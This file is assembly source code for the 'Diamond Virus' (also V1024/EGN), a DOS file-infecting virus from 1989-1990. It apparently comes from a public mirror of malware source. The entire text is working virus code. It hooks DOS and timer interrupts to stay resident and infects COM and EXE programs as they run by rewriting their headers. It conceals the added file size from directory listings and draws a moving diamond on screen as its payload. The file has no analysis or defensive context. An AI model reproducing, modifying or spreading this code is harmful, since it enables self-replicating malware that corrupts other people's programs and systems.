mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
534 lines
8.2 KiB
NASM
534 lines
8.2 KiB
NASM
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; The Diamond Virus
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;
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; Version 2.10
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;
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; also known as:
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; V1024, V651, The EGN Virus
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;
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; Basic release: 5-Aug-1989
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; Last patch: 5-May-1990
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;
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; COPYRIGHT:
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;
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; This program is (c) Copyright 1989,1990 Damage, Inc.
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; Permission is granted to distribute this source provided the tittle page is
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; preserved.
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; Any fee can be charged for distribution of this source, however, Damage, Inc.
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; distributes it freely.
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; You are specially prohibited to use this program for military purposes.
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; Damage, Inc. is not liable for any kind of damages resulting from the use of
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; or the inability to use this software.
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;
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; To assemble this program use Turbo Assembler 1.0
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.radix 16
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.model tiny
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.code
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code_len = top_code-main_entry
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data_len = top_data-top_code
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main_entry:
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call locate_address
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gen_count dw 0
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locate_address:
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xchg ax,bp
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cld
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pop bx
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inc word ptr cs:[bx]
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mov ax,0d5aa
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int 21
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cmp ax,2a03
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jz all_done
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mov ax,sp
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inc ax
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mov cl,4
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shr ax,cl
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inc ax
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mov dx,ss
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add ax,dx
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mov dx,ds
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dec dx
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mov es,dx
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xor di,di
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mov cx,(top_data-main_entry-1)/10+1
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mov dx,[di+2]
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sub dx,cx
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cmp dx,ax
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jc all_done
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cli
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sub es:[di+3],cx
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mov [di+2],dx
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mov es,dx
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lea si,[bx+main_entry-gen_count]
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mov cx,top_code-main_entry
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rep
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db 2e
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movsb
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push ds
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mov ds,cx
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mov si,20
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lea di,[di+old_vector-top_code]
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org $-1
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mov ax,offset dos_handler
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xchg ax,[si+64]
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stosw
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mov ax,es
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xchg ax,[si+66]
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stosw
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mov ax,offset time_handler
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xchg ax,[si]
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stosw
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xchg ax,dx
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xchg ax,[si+2]
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stosw
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mov ax,24
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stosw
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pop ds
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push ds
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pop es
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sti
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all_done:
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lea si,[bx+exe_header-gen_count]
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db 2e
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lodsw
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cmp ax,'ZM'
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jz exit_exe
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mov di,100
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push di
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stosw
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movsb
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xchg ax,bp
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ret
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exit_exe:
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mov dx,ds
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add dx,10
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add cs:[si+return_address+2-exe_header-2],dx
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org $-1
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add dx,cs:[si+stack_offset+2-exe_header-2]
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org $-1
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mov ss,dx
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mov sp,cs:[si+stack_offset-exe_header-2]
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org $-1
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xchg ax,bp
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jmp dword ptr cs:[si+return_address-exe_header-2]
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org $-1
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infect:
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mov dx,offset exe_header
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mov cx,top_header-exe_header
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mov ah,3f
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int 21
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jc do_exit
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sub cx,ax
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jnz go_error
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mov di,offset exe_header
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les ax,[di+ss_offset-exe_header]
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org $-1
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mov [di+stack_offset-exe_header],es
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org $-1
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mov [di+stack_offset+2-exe_header],ax
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org $-1
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les ax,[di+ip_offset-exe_header]
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org $-1
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mov [di+return_address-exe_header],ax
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org $-1
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mov [di+return_address+2-exe_header],es
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org $-1
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mov dx,cx
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mov ax,4202
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int 21
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jc do_exit
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mov [di+file_size-exe_header],ax
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org $-1
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mov [di+file_size+2-exe_header],dx
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org $-1
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mov cx,code_len
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cmp ax,cx
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sbb dx,0
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jc do_exit
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xor dx,dx
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mov si,'ZM'
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cmp si,[di]
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jz do_put_image
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cmp [di],'MZ'
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jz do_put_image
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cmp ax,0fe00-code_len
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jc put_image
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go_error:
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stc
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do_exit:
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ret
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do_put_image:
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cmp dx,[di+max_size-exe_header]
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org $-1
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jz go_error
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mov [di],si
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put_image:
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mov ah,40
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int 21
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jc do_exit
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sub cx,ax
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jnz go_error
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mov dx,cx
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mov ax,4200
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int 21
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jc do_exit
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mov ax,[di+file_size-exe_header]
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org $-1
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cmp [di],'ZM'
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jnz com_file
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mov dx,[di+file_size-exe_header+2]
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org $-1
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mov cx,4
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push di
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mov si,[di+header_size-exe_header]
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org $-1
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xor di,di
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shift_size:
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shl si,1
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rcl di,1
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loop shift_size
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sub ax,si
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sbb dx,di
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pop di
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mov cl,0c
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shl dx,cl
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mov [di+ip_offset-exe_header],ax
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org $-1
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mov [di+cs_offset-exe_header],dx
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org $-1
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add dx,(code_len+data_len+100-1)/10+1
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org $-1
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mov [di+sp_offset-exe_header],ax
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org $-1
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mov [di+ss_offset-exe_header],dx
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org $-1
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add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
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org $-2
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mov ax,[di+min_size-exe_header]
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org $-1
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cmp ax,[di+max_size-exe_header]
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org $-1
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jc adjust_size
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mov [di+max_size-exe_header],ax
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org $-1
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adjust_size:
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mov ax,[di+last_page-exe_header]
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org $-1
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add ax,code_len
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push ax
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and ah,1
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mov [di+last_page-exe_header],ax
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org $-1
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pop ax
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mov cl,9
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shr ax,cl
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add [di+page_count-exe_header],ax
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org $-1
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jmp short put_header
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com_file:
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sub ax,3
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mov byte ptr [di],0e9
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mov [di+1],ax
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put_header:
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mov dx,offset exe_header
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mov cx,top_header-exe_header
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mov ah,40
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int 21
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jc error
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cmp ax,cx
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jz reset
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error:
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stc
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reset:
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ret
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find_file:
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pushf
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push cs
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call calldos
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test al,al
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jnz cant_find
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push ax
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push bx
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push es
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mov ah,51
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int 21
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mov es,bx
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cmp bx,es:[16]
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jnz not_infected
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2f
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int 21
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pop ax
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inc al
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jnz fcb_standard
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add bx,7
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fcb_standard:
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mov ax,es:[bx+17]
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and ax,1f
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xor al,1e
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jnz not_infected
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and byte ptr es:[bx+17],0e0
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sub es:[bx+1dh],code_len
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sbb es:[bx+1f],ax
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not_infected:
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pop es
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pop bx
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pop ax
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cant_find:
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iret
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dos_handler:
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cmp ah,4bh
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jz exec
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cmp ah,11
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jz find_file
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cmp ah,12
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jz find_file
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cmp ax,0d5aa
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jnz calldos
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not ax
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fail:
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mov al,3
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iret
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exec:
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cmp al,2
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jnc calldos
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push ds
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push es
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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mov ax,3524
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int 21
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push es
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push bx
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mov ah,25
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push ax
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push ds
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push dx
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push cs
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pop ds
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mov dx,offset fail
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int 21
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pop dx
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pop ds
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mov ax,4300
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int 21
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jc exit
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test cl,1
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jz open
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dec cx
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mov ax,4301
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int 21
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open:
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mov ax,3d02
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int 21
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jc exit
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xchg ax,bx
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mov ax,5700
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int 21
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jc close
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mov al,cl
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or cl,1f
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dec cx
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xor al,cl
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jz close
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push cs
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pop ds
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push cx
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push dx
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call infect
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pop dx
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pop cx
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jc close
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mov ax,5701
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int 21
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close:
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mov ah,3e
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int 21
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exit:
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pop ax
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pop dx
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pop ds
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int 21
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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pop es
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pop ds
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calldos:
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jmp cs:[old_vector]
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.radix 10
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adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
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dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
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dw 2480,2482,2640
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diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
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dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
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dw 324
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valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
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dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
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dw 2820,2820,2308
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xlatbl dw -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
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dw -316,324,-156,164
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.radix 16
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time_handler:
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push ds
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push es
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push cs
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pop ds
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cld
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mov dx,3da
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mov cx,19
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mov si,offset count
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mov ax,[si]
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test ah,ah
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jnz make_move
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mov al,ah
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mov es,ax
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cmp al,es:[46dh]
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jnz exit_timer
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mov ah,0f
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int 10
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cmp al,2
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jz init_diamond
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cmp al,3
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jnz exit_timer
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init_diamond:
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inc byte ptr [si+1]
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sub bl,bl
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add bh,0b8
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mov [si+2],bx
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mov es,bx
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wait_snow:
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in al,dx
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test al,8
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jz wait_snow
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mov si,offset valtbl
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build_diamond:
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mov di,[si+adrtbl-valtbl]
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movsw
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loop build_diamond
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exit_timer:
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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pop es
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pop ds
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jmp cs:[old_timer]
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count_down:
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dec byte ptr [si]
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jmp exit_timer
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make_move:
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test al,al
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jnz count_down
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inc byte ptr [si]
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mov si,offset adrtbl
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make_step:
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push cx
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push cs
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pop es
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lodsw
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mov bx,ax
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sub ax,140
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cmp ax,0d20
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jc no_xlat
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test ax,ax
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mov ax,[si+diftbl-adrtbl-2]
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jns test_xlat
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test ax,ax
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js do_xlat
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jmp short no_xlat
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test_xlat:
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test ax,ax
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js no_xlat
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do_xlat:
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mov di,offset xlatbl
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mov cx,10
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repnz scasw
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dec di
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dec di
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xor di,2
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mov ax,[di]
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mov [si+diftbl-adrtbl-2],ax
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no_xlat:
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mov ax,[si-2]
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add ax,[si+diftbl-adrtbl-2]
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mov [si-2],ax
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mov cx,19
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mov di,offset adrtbl
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lookup:
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jcxz looked_up
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repnz scasw
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jnz looked_up
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cmp si,di
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jz lookup
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mov [si-2],bx
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mov ax,[si+diftbl-adrtbl-2]
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xchg ax,[di+diftbl-adrtbl-2]
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mov [si+diftbl-adrtbl-2],ax
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jmp lookup
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looked_up:
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mov es,[homeadr]
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mov di,bx
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xor bx,bx
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call out_char
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mov di,[si-2]
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mov bx,[si+valtbl-adrtbl-2]
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call out_char
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pop cx
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loop make_step
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jmp exit_timer
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out_char:
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in al,dx
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test al,1
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jnz out_char
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check_snow:
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in al,dx
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test al,1
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jz check_snow
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xchg ax,bx
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stosw
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ret
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stack_offset dd ?
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return_address dd ?
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db '7106286813'
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exe_header: int 20
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last_page: nop
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top_code:
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db ?
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page_count dw ?
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dw ?
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header_size dw ?
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min_size dw ?
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max_size dw ?
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ss_offset dw ?
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sp_offset dw ?
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dw ?
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ip_offset dw ?
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cs_offset dw ?
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top_header:
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file_size dd ?
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old_vector dd ?
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old_timer dd ?
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count db ?
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flag db ?
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homeadr dw ?
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top_data:
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end
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